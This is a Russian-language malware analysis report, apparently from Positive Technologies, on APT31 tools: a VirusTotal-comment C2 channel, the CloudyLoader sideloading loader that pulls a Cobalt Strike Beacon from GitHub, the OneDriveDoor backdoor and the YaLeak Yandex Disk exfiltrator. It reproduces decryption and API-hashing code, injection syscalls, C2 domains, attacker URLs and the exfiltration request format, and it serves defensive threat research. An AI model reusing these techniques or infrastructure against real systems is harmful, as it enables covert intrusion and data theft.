Результат расшифрованных данных должен содержать:

  • маркер (0xAAAABBBB) — 4 байта;
  • длину полезных данных — 4 байта;
  • ключ RC4 для полезных данных — 4 байта;
  • полезные данные.
Псевдокод расшифрования команды
Псевдокод расшифрования команды

Рассмотрим пример.

Зашифрованные данные: SJemLS14Qq2KF4cNVkn/cc5v

Base64 → RC4 с ключом usde-092d: bb bb aa aa 06 00 00 00 93 2e cc b0 1d 73 36 6c 2f 7e

Получаем маркер: 0xaaaabbbb, длина зашифрованного сообщения: 6, RC4-ключ: 93 2e cc b0, зашифрованная команда. Расшифровываем команду 1d 73 36 6c 2f 7e алгоритмом RC4 с ключом 93 2e cc b0. В итоге получаем команду whoami.

3. Выполнение команды. Команда выполняется с помощью техники Command Output Redirection via Pipes.

Создание каналов:

CreatePipe(p_hObject_1 + 3, p_hObject_1 + 2, &lpMultiByteStr, 0)  // stdin pipe
CreatePipe(p_hObject_1 + 1, p_hObject_1, &lpMultiByteStr, 0)      // stdout/stderr pipe


Перенаправление стандартных потоков:
 

StartupInfo.hStdInput = hStdInput;   // stdin from pipe
StartupInfo.hStdOutput = hObject;    // stdout to pipe  
StartupInfo.hStdError = hObject;     // stderr to pipe
Псевдокод выполнения команды в системе
Псевдокод выполнения команды в системе

После выполнения команды осуществляется чтение созданного Pipe.

4. Отправка команды. После выполнения команды генерируется 4-байтовый ключ RC4, с помощью которого будет зашифрован результат. Результат команды упаковывается в сообщение следующего вида:

  • маркер (0xBBBBAAAA);
  • длина результата выполненной команды — 4 байта;
  • ключ RC4 — 4 байта;
  • результат выполненной команды.

Сообщение шифруется с помощью алгоритма RC4 с тем же ключом usde-092d и кодируется в Base64.

Сформированное сообщение добавляется в JSON-формат и публикуется как комментарий к файлу с помощью VirtusTotal API.

По известному токену пользователя к VirusTotal нам удалось получить следующую информацию. Имя пользователя: planningmid, дата регистрации: 15 ноября 2022, последний вход: 5 мая 2023.

"id": "planningmid",
    "type": "user",
    "links": {
      "self": "https://www.virustotal.com/api/v3/users/planningmid"
    },
    "attributes": {
      "collections_count": 0,
      "reputation": 1,
      "user_since": 1668479246,
      "first_name": "mid",
      "last_name": "planning",
      "certified": false,
      "apikey": "",
      "mandiant_uuid": "planningmid",
      "private": false,
      "status": "active",
      "preferences": {
        "ui": {
          "last_read_notification_date": 1683255623
        }
      },
       "email": "planningmid@mail.ru",
      "sso_enforced": false,
      "last_login": 1683255597,


Кроме того, установлено, что злоумышленник оставлял комментарии к следующим файлам: 90d2d1af406bdca41b14c303e6525dfc65565883bf2d4bf76330aa37db69eceb, f506898cc7c2e092f9eb9fadae7ba50383f5b46a2a4fe5597dbb553a78981268.

Комментарии к файлам пользователя planningmid
Комментарии к файлам пользователя planningmid

Кроме зашифрованных команд whoami, в августе 2025 года был зафиксирован следующий ответ: WYa3PBF4Qq0qdNvTtvcI3Ch/O2Zy2Mvdq2JfMq4Efi4yN3xl+T09mSxYqfwe1uaF7sM4CBJlJbDkEeV9SwbnBgU/BV7PzQ==.

После расшифрования получаем следующие данные:

Маркер: 0xbbbbaaaa Длина зашфированных данных: 58 Ключ RC4: b’334d906e' Результат выполненной команды: windows-ldnd2ke\denise

CloudyLoader

Вредоносный образец состоит из легитимного файла mskeyptotect.exe (компонента BsSndRpt.exe программного обеспечения BugSplat, которое представляет собой систему сбора и анализа отчетов об ошибках), динамической библиотеки BugSplatRc64.dll и файла try полезной нагрузки. Для загрузки BugSplatRc64.dll используется техника DLL sideloading.

Динамическая библиотека защищена протектором VmProtect версии 3 с включенными антиотладочными проверками. Основная задача вредоносной DLL — расшифровать файл try, создать процесс с именем makecab.exe и внедрить туда расшифрованный шеллкод из файла try.

При попадании в точку входа DLL устанавливает хук на функцию MessageBoxW. При вызове этой функции исполняемый файл mskeyptotect.exe вызывает функцию hook динамически подключаемой библиотеки BugSplatRc64.dll. Эта техника затрудняет обнаружение ВПО в песочнице без основного исполняемого файла.

Псевдокод функции hook
Псевдокод функции hook

При начале работы вредоносная DLL создает мьютекс с именем BugRpt_A85.

Все используемые Windows API для работы с файлами, создание мьютекса, создание процесса хешируются с помощью следующего алгоритма.

def CalculateAPIHash(data: bytes):
    v3 = 0xFFFFFFFF
    for byte in data:
        temp1 = (2 * byte) ^ ((2 * byte) ^ (byte >> 1)) & 0x55555555
        v4 = temp1 >> 2
        v5 = 4 * temp1
        temp2 = v5 ^ (v5 ^ v4) & 0x33333333
        v6 = ((temp2 >> 4) | (16 * (temp2 & 0xFF0F0F0F))) & 0xFFFFFFFF
        v8 = int.from_bytes(v6.to_bytes(4, 'little'), 'big')
        for _ in range(8):
            if (v3 ^ v8) & 0x80000000:
                v3 ^= 0xC520DEC7
            v3 = (v3 * 2) & 0xFFFFFFFF
            v8 = (v8 * 2) & 0xFFFFFFFF
    
    v9 = (~v3) & 0xFFFFFFFF
    v10 = (4 * ((2 * v9) ^ ((2 * v9) ^ (v9 >> 1)) & 0x55555555))  & 0xFFFFFFFF
    v11 = (v10 ^ (v10 ^ (((2 * v9) ^ ((2 * v9) ^ (v9 >> 1)) & 0x55555555) >> 2)) & 0x33333333)  & 0xffffffff
    v11 = ((16 * v11) ^ ((16 * v11) ^ (v11 >> 4)) & 0xF0F0F0F) & 0xffffffff
    return int.from_bytes(v11.to_bytes(4, 'little'), 'big')


Примечательно, что после получения адреса целевой функции и ее выполнения ссылка на функцию затирается — возможная мера для усложнения динамического исследования.

Получение и затирания адреса Windows API функции
Получение и затирания адреса Windows API функции

Следующим этапом BugSplatRc64.dll читает файл try и расшифровывает его операцией XOR на ключе AB CD 76 A5. Создает процесс с именем makecab.exe в приостановленном режиме.

Для внедрения шеллкода из файла try ВПО использует прямые системные вызову (direct syscalls).

Алгоритм разыменования syscall-функций следующий. Из PEB-структуры получаем адрес ntdll.dll, обходим все функции экспорта, если имя функции начинается с Zw, то рассчитывается ее хеш-значение. После расчета всех хеш-значений функций Zw они складываются в массив в виде пар «хеш-значение, номер системного вызова», который далее сортируется методом пузырька. В итоге получаем отсортированный массив с 464 адресами функций Zw из ntdll.dll.

На рисунке ниже представлен код функции расчета всех функций ComputeZwHash и получения номера syscall-функции.

Функция вычисления хеш-суммы Syscall функций
Функция вычисления хеш-суммы Syscall функций

Алгоритм хеширования имени syscall-функции следующий.

def ComputeZwHash(function_name):

    hash_sum = 0xCEC79E15
    for i in range(0, len(function_name)):
        if i + 1 < len(function_name):
            char = (function_name[i + 1] << 8) | function_name[i]
        else:
            char = function_name[i]
        temp = ror(hash_sum, 8,32)
        temp = (temp + char) & 0xFFFFFFFF
        hash_sum = hash_sum ^ temp
    return hash_sum


Для внедрения шеллкода в процесс загрузчик использует технику Remote Thread Injection, для которой вызывает следующие функции:

ZwAllocateVirtualMemory 0xc354d9c7
ZwWriteVirtualMemory 0x46543e95
ZwProtectVirtualMemory 0x3bad717f
ZwResumeThread 0x3e1220a8
ZwOpenThread 0xea9c49f
ZwSuspendThread 0x34a33e15
ZwClose 0xc9a1527
ZwSetContextThread 0x94acca16
ZwGetContextThread 0x286b36e8


После внедрения шеллкода в процесс makecab.exe основной процесс завершает работу, управление передается на шеллкод.

Расшифрованный файл try включает в себя:

  • 0-0×38 байт — шеллкод первого этапа, который расшифровывает, начиная со смещения 0×38, данные операцией XOR с ключом A7 C0 82 59 FC 7D 47 0D.
  • 0×39-0xec5 — шеллкод второго этапа, основная задача которого — загрузить в память процесса исполняемый файл, начинающийся со смещения 0xec6.
  • 0xec6 — полезная нагрузка, исполняемый файл загрузчика.

Шеллкод второго этапа использует технику Reflective Loader для внедрения полезной нагрузки в адресное пространство процесса. Кроме того, для хеширования имен функций используется алгоритм ROR13. Схожая реализация кода представлена тут.

Основная нагрузка представляет собой динамическую библиотеку.
MD5: e6e73c59eb8be5fa2605b17552179c2f SHA1: 7a3139e80ea8c9d4bebf537d5497e19b3169ac09 SHA256: 4f53a5972fca15a04dc9f75f8046325093e9505a67ba90552100f6ad20c98f8b

Интересно, что код основной нагрузки схож с динамической библиотекой BugSplatRc64.dll.

Следующим этапом загружаемая в память полезная нагрузка загружает имплант CobaltStrike Beacon.

Этапы получения основной нагрузки:

1. Запрос к репозиторию scrcpyClone пользователя Range1992 https://raw.githubusercontent.com/Range1992/scrcpyClone/refs/heads/master/app/data/zsh-completion/_scrcpy. В полученных с Git данных вредоносный код ищет маркер начала QQNSR4u и конца ZsNpk7Y закодированной строки. Далее получает данные между маркерами, декодирует из Base64, расшифровывает RC4 на ключе 03 07 A0 B0 E3 80 88 77. Расшифрованные данные представляют собой следующий адрес основной нагрузки.

Содержимое файла _scrcpy
Содержимое файла _scrcpy

2. Расшифрованный адрес https://github.com/Range1992/scrcpyClone/raw/refs/heads/master/app/deps/PersonalizationCSP загружает зашифрованный имплант CobalstStrike, который включает в себя:

  • RC4-ключ — 8 байт.
  • Длину полезных данных — 4 байта.
  • Полезные данные.
Расположения файла PersonalizationCSP
Расположения файла PersonalizationCSP

Полезные данные представляют собой шеллкод CobaltStrike Beacon со следующей конфигурацией:

BeaconTypeHTTPS
Port443
SleepTime77665
MaxGetSize409721416
Jitter46
PublicKey_MD5fe7aa97fbe3fe21e59ead1792ca2dc58
C2ServerMoeodincovo.com,/divide/mail/SUVVJRQO8QRC,
www.Moeodincovo.com,/divide/mail/SUVVJRQO8QRC
UserAgentMozilla/5.0 (Windows NT 6.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
HttpPostUri/Terminate/v6.49/LTKAZNE9
Информация о C2 из PT Fusion
Информация о C2 из PT Fusion

Согласно анализу учетной записи злоумышленника, последняя активность пользователя Range1992 была 5 декабря 2024 года. В этот день он создал форк проекта scrcpy и добавил файлы ВПО.

История коммитов пользователя Range1992
История коммитов пользователя Range1992

OneDriveDoor

Исполняемый файл Seting.exe представляет собой уязвимый к DLL sideloading компонент софта ThreadRacer, бенчмарка CPU. Он загружает динамическую библиотеку pl_rsrc_english.dll, представляющую собой загрузчик шеллкода. Шеллкод зашифрован в файле language.dll алгоритмом RC4, где ключом являются первые 8 байт файла.

Динамическая библиотека pl_rsrc_english.dll расшифровывает файл шеллкода и внедряет его в созданный процесс winrshost.exe. Основная задача шеллкода — загрузить в адресное пространство процесса winrshost.exe исполняемый файл бэкдора. Интересно, что у бэкдора сигнатура MZ заменена на байты 0×22 0×11, а PE — на 0×44 0×33.

OneDriveDoor — измененные значения magic
OneDriveDoor — измененные значения magic

При старте бэкдор создает мьютекс 7ijPFUKNV8QRoGVo. Затем он генерирует идентификатор зараженной машины и подключается к C2, в качестве которого используется облачное хранилище Microsoft OneDrive.

OneDriveDoor — схема обращений к диску
OneDriveDoor — схема обращений к диску

Далее начинается цикл получения сообщений.

Первоначально от OneDriveDoor (в качестве проверки доступа к диску) посылается информация о зараженной машине в файл на облаке /root:/<ID>/8110. Собирается следующая информация о системе: имя компьютера, имя пользователя, IP-адрес зараженного узла, PID, текущая директория, проверяется наличие прав администратора.

При этом все параметры разделяются символом табуляции, числа переводятся в строковые представления.

В случае успешной отправки данных на сервер начинается процесс выполнения команд. Обращение происходит каждые несколько секунд, но не более 5 минут.

Команды на выполнение в скомпрометированной системе ВПО получает в JSON-ответе из запроса к URL https[:]//graph.microsoft[.]com//v1.0/me/drive/root:/<ID>/config1:/children?select=name. В ответе содержится список всех файлов, которые находятся в каталоге <ID>\config1.
 

{
    "value": [
        { "name": "filename1" },
        { "name": "filiname2" }
    ]
}
OneDriveDoor — пример команды
OneDriveDoor — пример команды

В данном случае злоумышленники таким образом получают список команд, необходимых для выполнения на зараженной машине с указанным ID. Командами тут являются сами названия файлов из этой папки. Если файл command_file содержит одну из следующих цифровых строк, то выполняется соответствующая команда.

numberdescription
8110Отправка информации о зараженной машине (только внутри цикла сообщений)
8111Получить файл и записать в зашифрованном виде на систему жертвы по указанному пути
8112Отправить зашифрованный файл с компьютера на C2
8113Отправить информацию о свободном месте на дисках
8114Выполнение дополнительной (расширенной) команды
8115Завершение cmd-процесса из команды 8114
8116list dir — собирает рекурсивно информацию о файлах в указанной папке, включая время последнего изменения, размер и аттрибуты
8117Удаление указанного файла
8118Создание директории (название указано сервером)
8119, 8120, 8121Переименовать файл — запрашивает у сервера строку с именами файлов, разделенных символом табуляции

Если требуются дополнительные параметры, их берут из самого файла <ID>/config1/<command_file>, отправляя дополнительный запрос на получение контента файла. Исключением являются команды для чтения файла: из содержания файла-команды извлекают только один параметр — имя файла, который будет записан или прочитан.

Содержание файла окажется (или уже находится) по пути <ID>/VirtualServ/<command_file>.

После выполнения команды удаляется файл, соответствующий выполненной команде command_file. Результаты отправляются в файл по адресу <ID>/<command_file> .

Отдельно стоит рассмотреть команду 8114, предназначенную для выполнения дополнительных команд cmd.

OneDriveDoor — внутри функции для выполнения команды 8114
OneDriveDoor — внутри функции для выполнения команды 8114

Перейдем к функции, отвечающей за обработку этой команды. Внутри инициализируется внутренний класс cmd и запускаются два потока выполнения: один для выполнения команд (cmd::DownloadThreadProc), второй — для сбора и обработки результатов (cmd::OutputThreadProc ).

struct cmd {
    __int64 hCMD;
    __int64 pipe_read1;
    __int64 pipe_write2;
    __int64 pipe_write1;
    __int64 pipe_read2;
    __int64 hOutPut;
    __int64 hMainCmd;
    int flag_need_exec;
    int flag_nostr2;
    void *hcurl1;
    void *hcurl2;
    mystr str1;
    mystr str2;
    tree *tree_paths;
    __int64 field_98;
    tree *tree_commands;
    __int64 field_A8;
    CRITICAL_SECTION crit_section;
};

Структура класса cmd

Plugins

Функция cmd::DownloadThreadProc получает содержание файла 8114, в котором содержится необходимая для выполнения команда со всеми параметрами. Далее внутри функции возможны два пути обработки команды: первоначально ее пытаются обработать в функции cmd::main, в случае неуспеха происходит отправка команды в открытый процесс cmd.

OneDriveDoor — ответвление в DownloadThreadProc
OneDriveDoor — ответвление в DownloadThreadProc

В функции cmd::main происходит обработка команды при помощи плагинов: они реализуют аналог cmd-команд Windows при помощи WinAPI или com-объектов, не выполняя команду напрямую через интерпретатор. Скорее всего, такой функционал был реализован для того, чтобы оставлять меньше следов работы OneDriveDoor в системе.

В команде ищут ключевое слово — аналог команды cmd в Windows, после чего в список команд на выполнение добавляют соответствующий этой команде plugin, предварительно инициализировав структуру для этого плагина.

OneDriveDoor — поиск плагина по ключевому слову
OneDriveDoor — поиск плагина по ключевому слову

Затем все команды выполняют по одной схеме: для очередного плагина создается список аргументов, с этими параметрами (аналогично параметрам командной строки) запускают выполнений основных действий — обработку команды. После этого забирают результаты выполнения команды.

OneDriveDoor — запуск плагина с аргументами
OneDriveDoor — запуск плагина с аргументами

Все плагины наследуют методы базового класса, переназначая их на свои.

struct CmdPluginVtbl // sizeof=0x20
 {
     __int64 (__fastcall *init)(plugin *this); // инициализация структуры
     std::str *(__fastcall *whoami)(plugin *this, std::str *outname); // возвращает строку с именем плагина
     __int64 (__fastcall *action)(plugin *this, unsigned int argnum, LPWSTR *argline); // обрабатывает команды и выполняет необходимые действия
     __int64 (__fastcall *finish)(plugin *this, , std::wstring *out); // сбор результатов работы плагина
 };


В текущем образце было обнаружено 11 дополнительных плагинов.

НомерКомандаФункционал
1dirИщет все файлы в указанной директории и собирает о них информацию
2netАналог команды net
3copyКопирование файла по указанному пути с использованием SHFileOperationW
4delУдаление файла с использованием SHFileOperationW
5queryАналог команды query — перечисляет информацию о текущих сеансах
6regАналог команды reg, поддерживает только опции add и query
7tasklistПри помощи COM-объекта IWbemLocator выполняет команду WQL SELECT Name,ProcessId FROM Win32_Process
8schtasksСоздание, управление и удаление задач, полный аналог одноименной системной команды Windows
9typeПередает содержимое файла, учитывая локальную кодировку
10whoamiПередает имя пользователя с использованием API GetUserNameW
11wmicИспользует реализацию WMIC на основе IWbemLocator для работы с процессами

Дополнительно расскажем про некоторые из них.

DIR — аналогичен одноименной команде, но собирает только конкретную информацию.

OneDriveDoor — сбор информации с помощью плагина Dir
OneDriveDoor — сбор информации с помощью плагина Dir

Для всех файлов в указанной директории плагин собирает время последнего изменения, размер файла. Кроме того, в конце он добавляет общее количество всех папок и файлов, а также общий размер папки.

NET — аналог команды net с дополнительными параметрами:

  • use — аналог net use в начале перечисляет все подключения локального сервера к удаленным с использованием NetUseEnum. Если стоит параметр /user, то при помощи NutUseAdd устанавливает соединение между локальным компьютером и удаленным сервером;
  • user — перечисляет всех пользователей с полными данными о них, также может добавлять или удалять пользователей, а также активировать учетные записи;
  • localgroup — перечисляет все группы, может добавить свою;
  • share — перечисление всех общих ресурсов с использованием NetShareEnum.

WMIC — урезанная реализация WMIC на основе COM-объекта IWbemLocator. Используется для получения информации о процессах. Для этого выполняет аналог команды

wmic process call create

Дополнительно может указывать параметры PASSWORD, USER, NODE.

Network Packets

Сообщения C2 зашифровываются при помощи двойного использования алгоритма RC4. Для каждого сообщения создается свой собственный ключ, которым это сообщение и шифруется. Затем этот ключ присоединяют к сообщению и накрывают снова RC4 с ключом, указанным в конфигурации ВПО. Ниже схематично показан алгоритм расшифровки сообщения одного из образцов:

def decryt_msg(msg, size_msg)
    if size_msg <= 86:
        return None
    rc4_key = "1xPHxdt49B9e5mBCw"
    msg_stage = rc4_algo(rc4_key, msg)
    # real_msg_size = sie_msg - 86
    output = rc4_algo(msg_stage[:4], msg[86:])
    return output


При этом при шифровании сообщений генерируются случайные 172 ASCII-символа (в некоторых случаях 86), первые четыре из которых занимает RC4-ключ конкретного сообщения, а остальное — просто мусор, который также прикрепляется к сообщению.

Exfiltration

Для эксфильтрации данных злоумышленники применяли компактную утилиту, разработанную на .NET. Инструмент выгружал информацию в облачное хранилище Яндекса, поэтому был назван YaLeak.

Запуск YaLeak осуществляется с аргументами командной строки, в которых указывается:

  1. Каталог на скомпрометированном хосте, в котором расположены файлы для передачи в облачное хранилище Яндекса. По умолчанию этот параметр содержит путь C:\Users\Public\Downloads.
  2. Каталог назначения на Яндекс-диске злоумышленника. По умолчанию это папка filesync.
YaLeak — функция main
YaLeak — функция main

Далее ВПО рекурсивно обходит содержимое эксфильтруемого каталога и отправляет каждый файл с использованием API Яндекса. Перед отправкой файла выполняется запрос следующего вида:

https://cloud-api.yandex.net/v1/disk/resources/upload?path=<YaDir>/<relative_path>&overwrite=true

В JSON-ответе содержится параметр href — уникальная ссылка, по которой и будет отправлен файл с системы жертвы. После успешной загрузки файл удаляется из системы жертвы.

Заключение

Группировка APT31 остается активной и по сей день. За прошлый год было обнаружено несколько атак, которые были направлены на российский IT-сектор. Их атаки остаются такими же продуманными — от времени атаки и до сценария команд. Ко всему прочему, APT31 постоянно пополняет свой арсенал: хотя они продолжают использовать часть своих старых инструментов, в этом году их арсенал пополнился большим количеством ВПО, преимущественно бэкдорами.

В качестве С2 злоумышленники активно используют облачные сервисы, в частности сервисы Яндекса и Microsoft OneDrive. Многие инструменты также настроены работать в режиме сервера, ожидая подключения злоумышленников к зараженному хосту. Помимо этого, группировка осуществляет эксфильтрацию данных через облачное хранилище Яндекса.

Данные инструменты и техники позволяли APT31 находиться незамеченными в инфраструктуре жертв годами. При этом злоумышленники выкачивали файлы и собирали конфиденциальную информацию с устройств, включая пароли от почтовых ящиков и внутренних сервисов жертв.

Авторы хотят поблагодарить за помощь в подготовке статьи команды Incident Response и Threat Intelligence экспертного центра Positive Technologies (PT Expert Security Center).

Файловые индикаторы

Сетевые индикаторы

MITRE TTPs

Вердикты продуктов Positive Technologies

Атаки разящей панды: APT31 сегодня